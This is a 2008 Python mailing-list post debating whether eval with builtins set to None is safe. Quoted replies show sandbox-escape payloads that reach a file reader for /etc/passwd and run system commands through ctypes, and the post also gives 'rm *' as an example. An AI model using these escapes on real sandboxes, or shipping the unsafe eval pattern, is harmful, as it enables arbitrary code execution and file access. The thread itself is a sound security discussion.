Simple and safe evaluator

bvdp bob at mellowood.ca
Thu Jun 12 13:51:31 EDT 2008


Matimus wrote:
> On Jun 11, 9:16 pm, George Sakkis <george.sak... at gmail.com> wrote:
>> On Jun 11, 8:15 pm, bvdp <b... at mellowood.ca> wrote:
>>
>>
>>
>>> Matimus wrote:
>>>> The solution I posted should work and is safe. It may not seem very
>>>> readable, but it is using Pythons internal parser to parse the passed
>>>> in string into an abstract symbol tree (rather than code). Normally
>>>> Python would just use the ast internally to create code. Instead I've
>>>> written the code to do that. By avoiding anything but simple operators
>>>> and literals it is guaranteed safe.
>>> Just wondering ... how safe would:
>>>          eval(s, {"__builtins__":None}, {} )
>>> be? From my testing it seems that it parses out numbers properly (int
>>> and float) and does simple math like +, -, **, etc. It doesn't do
>>> functions like int(), sin(), etc ... but that is fine for my puposes.
>>> Just playing a bit, it seems to give the same results as your code using
>>> ast does. I may be missing something!
>> Probably you do; within a couple of minutes I came up with this:
>>
>>>>> s = """
>> ... (t for t in 42 .__class__.__base__.__subclasses__()
>> ...  if t.__name__ == 'file').next()('/etc/passwd')
>> ... """>>> eval(s, {"__builtins__":None}, {} )
>>
>> Traceback (most recent call last):
>>   File "<stdin>", line 1, in <module>
>>   File "<string>", line 3, in <module>
>> IOError: file() constructor not accessible in restricted mode
>>
>> Not an exploit yet but I wouldn't be surprised if there is one. Unless
>> you fully trust your users, an ast-based approach is your best bet.
>>
>> George
> 
> You can get access to any new-style class that has been loaded. This
> exploit works on my machine (Windows XP).
> 
> [code]
> # This assumes that ctypes was loaded, but keep in mind any classes
> # that have been loaded are potentially accessible.
> 
> import ctypes
> 
> s = """
> (
>     t for t in 42 .__class__.__base__.__subclasses__()
>         if t.__name__ == 'LibraryLoader'
>     ).next()(
>         (
>             t for t in 42 .__class__.__base__.__subclasses__()
>                 if t.__name__ == 'CDLL'
>             ).next()
>         ).msvcrt.system('dir') # replace 'dir' with something nasty
> """
> 
> eval(s, {"__builtins__":None}, {})
> [/code]
> 
> Matt

Yes, this is probably a good point. But, I don't see this as an exploit 
in my program. Again, I could be wrong ... certainly not the first time 
that has happened :)

In my case, the only way a user can use eval() is via my own parsing 
which restricts this to a limited usage. So, the code setting up the 
eval() exploit has to be entered via the "safe" eval to start with. So, 
IF the code you present can be installed from within my program's 
scripts ... then yes there can be a problem. But for the life of me I 
don't see how this is possible. In my program we're just looking at 
single lines in a script and doing commands based on the text. 
Setting/evaluating macros is one "command" and I just want a method to 
do something like "Set X 25 * 2" and passing the "25 * 2" string to 
python works. If the user creates a script with "Set X os.system('rm 
*')" and I used a clean eval() then we could have a meltdown ... but if 
we stick with the eval(s, {"__builtins__":None}, {}) I don't see how the 
malicious script could do the class modifications you suggest.

I suppose that someone could modify my program code and then cause my 
eval() to fail (be unsafe). But, if we count on program modifications to 
be doorways to exploits then we might as well just pull the plug.

Bob.



More information about the Python-list mailing list